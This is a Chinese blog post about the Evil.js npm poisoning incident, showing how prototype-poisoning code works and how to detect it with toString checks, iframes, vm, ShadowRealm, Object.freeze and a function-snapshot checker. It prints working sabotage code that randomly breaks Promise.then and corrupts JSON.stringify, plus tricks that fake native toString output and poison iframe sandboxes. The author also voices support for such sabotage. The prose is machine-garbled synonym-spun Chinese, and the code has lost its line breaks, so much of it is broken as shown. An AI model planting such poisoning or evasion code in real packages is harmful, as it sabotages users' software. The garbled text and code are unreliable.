视频移步B站
https://www.bilibili.com/vide...
最近Evil.js被探讨的很多，我的项目介绍如下
我的项目被公布到npm上后，引起了强烈的探讨，最终因为平安问题被npm官网移除，代码也闭源了
作为一个前端老司机，我必定是拥护这种行为，泄私愤有很多种形式，代码里下毒会被git log查到，万一守法了，还不如到职的时候给老板一个大逼兜来的解恨
明天咱们来讨论一下，如果你作为我的项目的负责人，如何甄别这种代码下毒
欢送退出前端学习，一起上王者,交个敌人
下毒手法
最浮夸无奈的下毒手法就是间接替换函数，比方evil.js中，给JSON.stringify下毒了，把外面的I换成了l ，每周日prmise的then办法有10%的概率不触发，只有周日能触发着实有点损了, 并且npm的报名就叫lodash-utils，看起来的确是个正经库，后果被下毒
function isEvilTime(){ return new Date().getDay() === 0 && Math.random() < 0.1 }const _then = Promise.prototype.thenPromise.prototype.then = function then(...args) { if (isEvilTime()) { return } else { _then.call(this, ...args) }}const _stringify = JSON.stringifyJSON.stringify = function stringify(...args) { return _stringify(...args).replace(/I/g, 'l') }console.log(JSON.stringify({name:'Ill'})) // {"name":"lll"}检测函数toString
检测函数是否被原型链投毒，我首先想到的办法就是检测代码的toString，默认的这些全局办法都是内置的，咱们在命令行里执行一下
咱们能够简略粗犷的查看函数的toString
function isNative(fn){ return fn.toString() === `function ${fn.name}() { [native code] }`}console.log(isNative(JSON.parse)) // trueconsole.log(isNative(JSON.stringify)) // false不过咱们能够间接重写函数的toString办法，返回native这几个字符串，就能够越过这个查看
JSON.stringify = ...JSON.stringify.toString = function(){ return `function stringify() { [native code] }`}function isNative(fn){ return fn.toString() === `function ${fn.name}() { [native code] }`}console.log(isNative(JSON.stringify)) // trueiframe
咱们还能够在浏览器里通过iframe创立一个被隔离的window, iframe被加载到body后，获取iframe外部的contentWindow
let iframe = document.createElement('iframe')iframe.style.display = 'none'document.body.appendChild(iframe)let {JSON:cleanJSON} = iframe.contentWindowconsole.log(cleanJSON.stringify({name:'Illl'})) // '{"name":"Illl"}'这种解决方案对运行环境有要求，iframe只有浏览器里才有， 而且攻击者够聪慧的话，iframe这种解决方案也能够被下毒,重写appendChild函数，当加载进来的标签是iframe的时候，重写contentWindow的stringify办法
const _stringify = JSON.stringifylet myStringify = JSON.stringify = function stringify(...args) { return _stringify(...args).replace(/I/g, 'l')}// 注入const _appenChild = document.body.appendChild.bind(document.body)document.body.appendChild = function(child){ _appenChild(child) if(child.tagName.toLowerCase()==='iframe'){ // 净化 iframe.contentWindow.JSON.stringify = myStringify }}// iframe被净化了let iframe = document.createElement('iframe')iframe.style.display = 'none'document.body.appendChild(iframe)let {JSON:cleanJSON} = iframe.contentWindowconsole.log(cleanJSON.stringify({name:'Illl'})) // '{"name":"llll"}'node 的vm模块
node中也能够通过vm模块创立一个沙箱来运行代码，教程能够看这里，不过这对咱们代码的入侵性太大了，实用于发现bug后的调试某段具体的代码，并且没法再浏览器里间接用
const vm = require('vm')const _stringify = JSON.stringifyJSON.stringify = function stringify(...args) { return _stringify(...args).replace(/I/g, 'l')}console.log(JSON.stringify({name:'Illl'}))let sandbox = {}vm.runInNewContext(`ret = JSON.stringify({name:'Illl'})`,sandbox)console.log(sandbox)ShadowRealm API
TC39有一个新的ShadowRealm api，曾经stage3了，能够手动创立一个隔离的js运行环境，被认为是下一代微前端的利器，不过当初兼容性还不太好，代码看起来有一丢丢像eval，不过和vm的问题一样，须要咱们指定某段代码执行
更多ShadowRealm的细节能够参考贺老的这个答复 如何评估 ECMAScript 的 ShadowRealm API 提案
const sr = new ShadowRealm()console.log( sr.evaluate(`JSON.stringify({name:'Illl'})`) )Object.freeze
咱们还能够我的项目代码的入口处，间接用Object.freeze冻住相干函数，确保不会被批改, 所以上面的代码会打印出{"name":"Illl"}，然而有些框架会对原型链进行适当的批改（比方Vue2里对数组的解决），而且咱们在批改stringify失败的时候没有任何揭示，所以此办法也慎用，可能会导致你的我的项目里有bug
!(global => { // Object.freeze(global.JSON) ;['JSON','Date'].forEach(n=>Object.freeze(global[n])) ;['Promise','Array'].forEach(n=>Object.freeze(global[n].prototype))})((0, eval)('this'))// 下毒const _stringify = JSON.stringifylet myStringify = JSON.stringify = function stringify(...args) { return _stringify(...args).replace(/I/g, 'l')}// 应用console.log(JSON.stringify({name:'Illl'})) 备份检测
还有一个很简略的办法，实用性和兼容性都适中，咱们能够在我的项目启动的一开始，就备份一些重要的函数，比方Promise，Array原型链的办法，JSON.stringify、fetch、localstorage.getItem等办法, 而后在须要的时候,运行检测函数, 判断Promise.prototype.then和咱们备份的是否相等，就能够甄别出原型链有没有被净化 ,我真是一个小伶俐
首先咱们要备份相干函数，因为咱们须要查看的不是很多，就不须要对window进行遍历了，指定几个重要的api函数，都存在了_snapshots对象里
// 这段代码肯定要在我的项目的一开始执行!(global => { const MSG = '可能被篡改了，要小心哦' const inBrowser = typeof window !== 'undefined' const {JSON:{parse,stringify},setTimeout,setInterval} = global let _snapshots = { JSON:{ parse, stringify }, setTimeout, setInterval, fetch } if(inBrowser){ let {localStorage:{getItem,setItem},fetch} = global _snapshots.localStorage = {getItem,setItem} _snapshots.fetch = fetch }})((0, eval)('this'))除了间接调用的JSON，setTimeout，还有Promise，Array等原型链上的办法，咱们能够通过getOwnPropertyNames获取后，备份到_protytypes里，比方Promise.prototype.then 存储的后果就是
// _protytypes{ 'Promise.then': function then(){ [native code]}}!(global => { let _protytypes = {} const names = 'Promise,Array,Date,Object,Number,String'.split(",") names.forEach(name=>{ let fns = Object.getOwnPropertyNames(global[name].prototype) fns.forEach(fn=>{ _protytypes[`${name}.${fn}`] = global[name].prototype[fn] }) }) console.log(_protytypes)})((0, eval)('this'))而后咱们在global上注册一个检测函数checkNative就能够啦，存储在_snapshot和_prototype里的内容，嘎嘎遍历进去，和以后运行时获取的JSON，Promise.prototype.then比照就能够啦，而且咱们有了备份， 还能够加一个reset参数，间接把净化的函数还原回去
代码比拟毛糙，大家对付看，函数也就两层嵌套，不整递归了，间接暴力循环 ，欢送有志之士优化
global.checkNative = function (reset=false){ for (const prop in _snapshots) { if (_snapshots.hasOwnProperty(prop) && prop!=='length') { let obj = _snapshots[prop] // setTimeout顶层的 if(typeof obj==='function'){ const isEqual = _snapshots[prop]===global[prop] if(!isEqual){ console.log(`${prop}${MSG}`) if(reset){ window[prop] = _snapshots[prop] } } }else{ // JSON这种还有内层api for(const key in obj){ const isEqual = _snapshots[prop][key]===global[prop][key] if(!isEqual){ console.log(`${prop}.${key}${MSG}`) if(reset){ window[prop][key] = _snapshots[prop][key] } } } } } } // 原型链 names.forEach(name=>{ let fns = Object.getOwnPropertyNames(global[name].prototype) fns.forEach(fn=>{ const isEqual = global[name].prototype[fn]===_protytypes[`${name}.${fn}`] if(!isEqual){ console.log(`${name}.prototype.${fn}${MSG}`) if(reset){ global[name].prototype[fn]=_protytypes[`${name}.${fn}`] } } }) })}咱们测试一下代码，能够看到checkNative传递reset是true后，打印且重置了咱们净化的函数，JSON.stringify的行为也合乎咱们的预期
<script src="./anti-evil.js"></script><script src="./evil.js"></script><script>function isNative(fn){ return fn.toString() === `function ${fn.name}() { [native code] }`}let obj = {name:'Illl'}console.log(obj)console.log('isNative',isNative(JSON.stringify))console.log('被净化了',JSON.stringify(obj)) let iframe = document.createElement('iframe')iframe.style.display = 'none'document.body.appendChild(iframe)let {JSON:cleanJSON} = iframe.contentWindowconsole.log('iframe也被净化了',cleanJSON.stringify(obj)) console.log('*'.repeat(20))checkNative(true)console.log('checkNative重置了',JSON.stringify(obj)) </script>总结
如同没啥总结得了，祝大家天天开心，做一个开心的程序员，回见
代码在Github
在线环境在StackBlitz